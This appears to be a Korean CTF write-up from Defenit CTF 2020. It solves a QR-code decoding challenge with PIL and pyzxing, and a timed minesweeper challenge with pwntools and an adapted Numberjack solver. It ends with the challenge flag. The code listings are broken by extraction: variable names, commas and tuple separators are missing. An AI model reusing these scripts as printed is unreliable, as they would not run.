1 1 1 1 1 1 1 0 0 0 0 1 1 0 0 0 0 1 0 0 0 1 0 0 0 1 0 0 0 
 
STAGE 1
>> Time Over!
 
cs

 

1과 0으로 된 qrcode를 보내준다.

 

하얀배경 이미지를 불러와서 값이 1이면 해당 위치의 픽셀의 값을 검정으로 바꾸도록 코드를 쓱-싹 작성해 준다.

하얀배경 이미지는 포토샵을 이용한다. 넉넉하게 200px*200px

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from PIL import Image
 
= remote("qr-generator.ctf.defenit.kr"9000)
p.recvuntil('name?')
p.sendline('M4ndU')
img = Image.open('./200.png') #load white background 200*200 image
img = img.convert("RGB")
newData = []
 
qrbin = [0* 200
p.recvuntil('< QR >\n')
for i in range(200):
    data = str(p.recvline())
    data = data.replace("b'""")
    data = data.replace("\\n'""")
    data = data.replace(" """)
    if data == "":
        print(p.recvline())
        break
    qrbin[i] = data
 
for x in range(len(qrbin)):
    if qrbin[x] == 0:
        break
    for y in range(len(str(qrbin[x]))):
        if qrbin[x][y] == "1":
            img.putpixel( (x, y), (000)) #black
 
img.save("./dimg/TransparentImage"+str(n)+".png""PNG")
 
 
p.interactive()
 
cs

 

그러면 이러한 qrcode 이미지를 만들어 낼 수 있다.

(제공되는 qrcode 크기가 제각각 이어서 배경 이미지의 크기에 여유를 주었다. 인식하는데에는 문제가 없었다.)

 

 

이제 이 qrcode를 decoding해서 보내주기만 하면 된다. 그러나 이 과정에서 삽질이 있었다.

 

이 qrcode이미지를 디코딩하는 방법에는 여러가지가 있다.

qrcode를 디코딩해주는 사이트에 리퀘스트 날려서 크롤링하는 방법. (이미지 보내고 크롤링 해야되는 무조건 버리고)

파이썬 모듈을 이용해서 디코딩 하는 방법.

 

qrcode를 디코딩할 수 있는 파이썬 모듈에는 여러가지가 있었다.

 

먼저 qrtools.

 

$sudo pip3 install qrtools

 

      qr = qrtools.QR()

AttributeError: module 'qrtools' has no attribute 'QR'

 

음? (오류 1스택)

파이썬 2로 다시시도..

 

 

$sudo pip install qrtools

 

import qrtools
ImportError: No module named qrtools

 

??????? (오류 2스택)

 

다음 시도한 것이 qrcode

 

 d = qrcode.Decoder()
AttributeError: module 'qrcode' has no attribute 'Decoder'

 

문서에서는 이렇게 쓰라고 나와있었는데 뭐지..(오류 3스택)

 

 

pyzbar를 사용해볼까

>>> decode(img)
[]

 

도대체 되는게 뭡니까(오류 4스택)

 

 

$ sudo pip3 install pyqrcode

$ sudo apt-get install python-qrtools

 

>>> import pyqrcode
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: No module named pyqrcode
(오류 5스택)

 

>>> import qrtools

>>> qr = qrtools.QR()

>>> qr.decode("./TransparentImage.png")
False

(오류 6스택)

 

AttributeError: module 'pyqrcode' has no attribute 'Decoder'

(오류 7스택)

 

 

...

 

웹으로 해결할까 생각이 들어서 테스트때 디코딩에 성공했던 ZXng Decode Online에 들어가봤다.

 

https://zxing.org/w/decode.jspx

 

ZXing Decoder Online

 

zxing.org

하단 내용을 보면 오픈소스 프로젝트라고 써있다.

 

혹시 파이썬 모듈도 있나 들어가봤다.

 

pyzxing Python wrapper to ZXing library

 

있다.

 

바로 설치.

 

>>> from pyzxing import BarCodeReader

>>> reader = BarCodeReader()

>>> results = reader.decode( './TransparentImage.png')

>>> results
[{'filename': 'file:///home/mandu/Desktop/p/./TransparentImage.png', 'format': 'QR_CODE', 'type': 'TEXT', 'raw': '0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J', 'parsed': '0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J', 'points': [(3.5, 49.5), (3.5, 3.5), (49.5, 3.5), (46.5, 46.5)]}]
>>> results[0]['raw']
'0pXenF4L00pza6n9XO45WjUvM4RvBUuoQICQAraBTh1rJIBeYUpxxJFNFsGOQ7DFNZ67QzuP0fNzl8of6j3wfObKWkRuUO1xrn2iMLQl7KCBJ6waeBboITBQRPDYtZUmQmHHa85ll4J'

 

성공.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
from PIL import Image
from pyzxing import BarCodeReader
 
= remote("qr-generator.ctf.defenit.kr"9000)
p.recvuntil('name?')
p.sendline('M4ndU')
for n in range(100):
    img = Image.open('./200.png')
    img = img.convert("RGB")
    newData = []
 
    qrbin = [0* 200
    p.recvuntil('< QR >\n')
    for i in range(200):
        data = str(p.recvline())
        data = data.replace("b'""")
        data = data.replace("\\n'""")
        data = data.replace(" """)
        if data == "":
            print(p.recvline())
            break
        qrbin[i] = data
 
    for x in range(len(qrbin)):
        if qrbin[x] == 0:
            break
        for y in range(len(str(qrbin[x]))):
            if qrbin[x][y] == "1":
                img.putpixel( (x, y), (000))
 
    img.save("./dimg/TransparentImage"+str(n)+".png""PNG")
 
 
    reader = BarCodeReader()
    results = reader.decode('./dimg/TransparentImage'+str(n)+'.png')
    print(results[0]['raw'])
 
    p.sendline(results[0]['raw'])
 
p.interactive()
 
cs

 

 

 

 

 

 

 


Minesweeper

Can you solve the minesweeper in one minute?

 

 

1분안에 지뢰찾기를 성공하면 되는 문제.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
     a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   
   -----------------------------------------------------------------
 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 2 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 3 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 4 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 5 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 6 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 7 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 8 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 9 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
10 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
11 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
12 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
13 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
14 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
15 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
16 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 
Type the column followed by the row (eg. a5). To put or remove a flag, add 'f' to the cell (eg. a5f). Type 'help' to show this message again.
 
Enter the cell (40 mines left): 
 
cs

 

이런식으로 칸이 주어지고, a1을 입력하면 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
     a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   
   -----------------------------------------------------------------
 1 | 0 | 0 | 0 | 0 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 2 | 0 | 0 | 0 | 0 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 3 | 0 | 1 | 2 | 2 | 1 | 1 |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 4 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 5 | 0 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 6 | 1 | 1 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 7 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 8 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 9 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
10 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
11 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
12 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
13 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
14 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
15 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
16 |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |   |
   -----------------------------------------------------------------
 
cs

주변 3*3범위에 폭탄의 개수를 알려준다.

 

지뢰의 위치에는 깃발을 꽂아야 한다. 저기서는 C4자리에 폭탄이 있으니 c4f를 입력해주어야 한다.

다음으로 지뢰가 없는 c5를 입력하여 나아가도록 한다.

 

이 과정을 자동화 하자.

 

 

http://www.hakank.org/numberjack/minesweeper.py

구글링 해서 찾아낸 지뢰찾기 솔버.

 

사용을 위해서 Numberjack 모듈을 설치해준다.

https://github.com/eomahony/Numberjack

 

eomahony/Numberjack

Python Combinatorial Optimisation Platform. Contribute to eomahony/Numberjack development by creating an account on GitHub.

github.com

X = -1

default_game = [
            [2,3,X,2,2,X,2,1],
            [X,X,4,X,X,4,X,2],
            [X,X,X,X,X,X,4,X],
            [X,5,X,6,X,X,X,2],
            [2,X,X,X,5,5,X,2],
            [1,3,4,X,X,X,4,X],
            [0,1,X,4,X,X,X,3],
            [0,1,2,X,2,3,X,2]
            ]

이렇게 지뢰찾기 배열을 넘겨주면

0 0 1 0 0 1 0 0 
1 1 0 0 1 0 1 0 
0 0 1 1 0 1 0 1 
1 0 1 0 1 1 0 0 
0 1 1 1 0 0 1 0 
0 0 0 0 1 1 0 1 
0 0 1 0 1 0 1 0 
0 0 0 1 0 0 1 0 
Nodes: 3  Time: 0.0

 

0: 지뢰없음 1: 지뢰있음 으로 결과를 출력해준다. 확실하지 않은 곳은 확률을 반환해준다. 이것을 개조했다.

 

문제에 아무 위치 한곳을 입력해주고 그 출력값을 위 코드로 분석하여 확실한 지뢰가 아닌 곳(0)과 지뢰인 곳(1)을 구해낼 수 있다. 지뢰인 곳에는 flag를 세우고 지뢰가 아닌 곳은 입력해서 주변 값들도 알아낸다.

 

이제 다시 맵의 결과값을 바탕으로 위 루틴을 전체를 구해낼 때까지 돌린다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#!/usr/bin/python
"""
This Numberjack model was created by
Hakan Kjellerstrand (hakank@bonetmail.com)
 
See also my Numberjack page http://www.hakank.org/numberjack/
"""
import sys
from Numberjack import *
 
from pwn import *
 
colNum = "abcdefghijklmnop"
 
= -1
alreadyInput = [[0 for ccccc in range(16)] for ddddd in range(16)]
row = [['0' for cola in range(16)] for rowa in range(16)]
gamerow = [[-1 for colas in range(16)] for rowas in range(16)]
 
= remote("minesweeper.ctf.defenit.kr"3333)
p.recvuntil(':')
p.sendline('h7'#중앙을 파면 한 번에 많은 위치를 분석할 수 있지 않을까
 
default_game = gamerow
default_r = 16
default_c = 16
 
#
# Solve the Minesweeper problem
#
def minesweeper(libs, game="", r="", c=""):
 
    # Set default problem
    if game == "":
        game = default_game
        r = default_r
        c = default_c
    else:
        print "rows:", r, " cols:", c
 
    #
    # Decision variables
    # Note: Matrix is defined with cols,rows,...
    #
    mines = Matrix(c,r,0,1)
 
    S = [-1,0,1]  # for the neighbors of this cell
 
    model = Model()
 
    for i in range(r):
        for j in range(c):
            if game[i][j] >= 0:
                model.add(mines[i,j] == 0)
                # this cell is the sum of all the surrounding cells
                model.add(
                    game[i][j] == Sum([mines[i+a,j+b]
                                       for a in S for b in S
                                       if i+a>=0 and
                                          j+b>=0 and
                                          i+a<r  and
                                          j+b<c
                                       ])
                    )
            if game[i][j] > X:
                # This cell cannot be a mine
                model.add(mines[i,j] == 0)
 
    # print model
 
 
    for library in libs:
        solver = model.load(library)
        # print solver
        print ''
        if solver.solve():
            solver.printStatistics()
            print_mines(mines, r, c)
            print 'Nodes:', solver.getNodes(), ' Time:', solver.getTime()
            #while library == 'Mistral' and solver.getNextSolution():
            #    print_mines(mines, r, c)
            #    print 'Nodes:', solver.getNodes(), ' Time:', solver.getTime()
 
        else:
            print "No solution"
            p.interactive()
        print ''
 
#
# Print the mines
#
def print_mines(mines, rows, cols):
    for i in range(rows):
        print i+1,
        for j in range(cols): #이부분을 수정했다. 불확실한 곳은 ?표시
            if len(str(mines[i,j])) > 4:
                print "?",
            else : #확실
                print str(mines[i,j]),
                if str(mines[i,j]) == '1'#지뢰는 플래그를 세우자
                    if alreadyInput[i][j] == 0#중복 입력 방지
                        print(colNum[j]+str(i+1)+"f"+'\n')
                        try:
                            p.send(colNum[j]+str(i+1)+"f"+'\n')
                            p.recvuntil("):")
                        except Exception as e:
                            p.interactive()
                elif str(mines[i,j]) == '0'#지뢰가 아니면 주변을 더 알아내자
                    if alreadyInput[i][j] == 0#중복 입력 방지
                        print(colNum[j]+str(i+1)+'\n')
                        try:
                            p.send(colNum[j]+str(i+1)+'\n')
                            p.recvuntil("):")
                        except Exception as e:
                            p.interactive()
        print ''
 
def print_game(game, rows, cols):
    for i in range(rows):
        print i+1,
        for j in range(cols):
            if game[i][j] == -1:
                print "?"#모르거나 지뢰인 곳은 ?표시
            else :
                print game[i][j],
        print ''
 
 
# file = "minesweeper1.txt"
 
for aa in range(6): #루틴을 몇번 돌릴 것인지. 끝까지 돌리는게 최고지만 정확성이 떨어져서 적당히 맞춰줘야 했다.
    row = [['0' for cola in range(16)] for rowa in range(16)]
    gamerow = [[-1 for colas in range(16)] for rowas in range(16)]
 
    p.recvline()
    p.recvline()
    p.recvline()
    p.recvline()
    p.recvline()
    for i in range(16):
        data = p.recvline()
        row[i] = str(data).split('|')
        p.recvline()
        for j in range(117):
            try:
                if row[i][j] == '   ':
                    gamerow[i][j-1= -1;
                elif row[i][j] == ' F ':
                    alreadyInput[i][j-1= -1 #중복입력을 방지하기 위함. 깃발을 세웠다는건 여기를 더 이상 이 위치를 입력할 필요가 없다는 것
                else :
                    gamerow[i][j-1= int(row[i][j].strip());
                    alreadyInput[i][j-1= 1 #중복입력ㅇ르 방지하기 위함. 이곳의 값이 있다는건 더 이상 이 위치를 입력할 필요가 없다는
            except Exception as e:
                p.interactive()
 
 
    default_game = gamerow
    print_game(default_game, 1616)
    # minesweeper(['NumberjackSolver', 'Mistral'])
    minesweeper(['Mistral'])
    # minesweeper(['SCIP'])
    print "================================================="
    p.sendline("h7")
 
p.interactive()
 
cs

 

 

근데 solver가 완벽하지는 않다. 완벽한 지뢰 위치를 찾아주지 못한다. 그래서 중간에 game over가 나기도 한다.

그래서 약 6번의 루틴을 시도하게 하고, 코드를 수십번 돌려서 운좋게 165행 코드가 실행이 되면 약 3칸정도가 남는다. 이건 눈으로 보고 풀어서 flag를 받을 수 있었다.

 

 

It took you 0 minutes and 17 seconds.

You Win!!!
Defenit{min35w33p3r_i5_ezpz}

 

 

 

 

반응형

'CTF Write Up' 카테고리의 다른 글

CCE2020 Quals Write-up  (0) 2020.09.26
FIESTA 2020 Write up  (2) 2020.09.07
angstrom CTF 2020 write up  (0) 2020.03.14
UTCTF 2020 Write up  (0) 2020.03.07
RiceTeaCatPanda CTF 2020 Write up  (0) 2020.01.22

+ Recent posts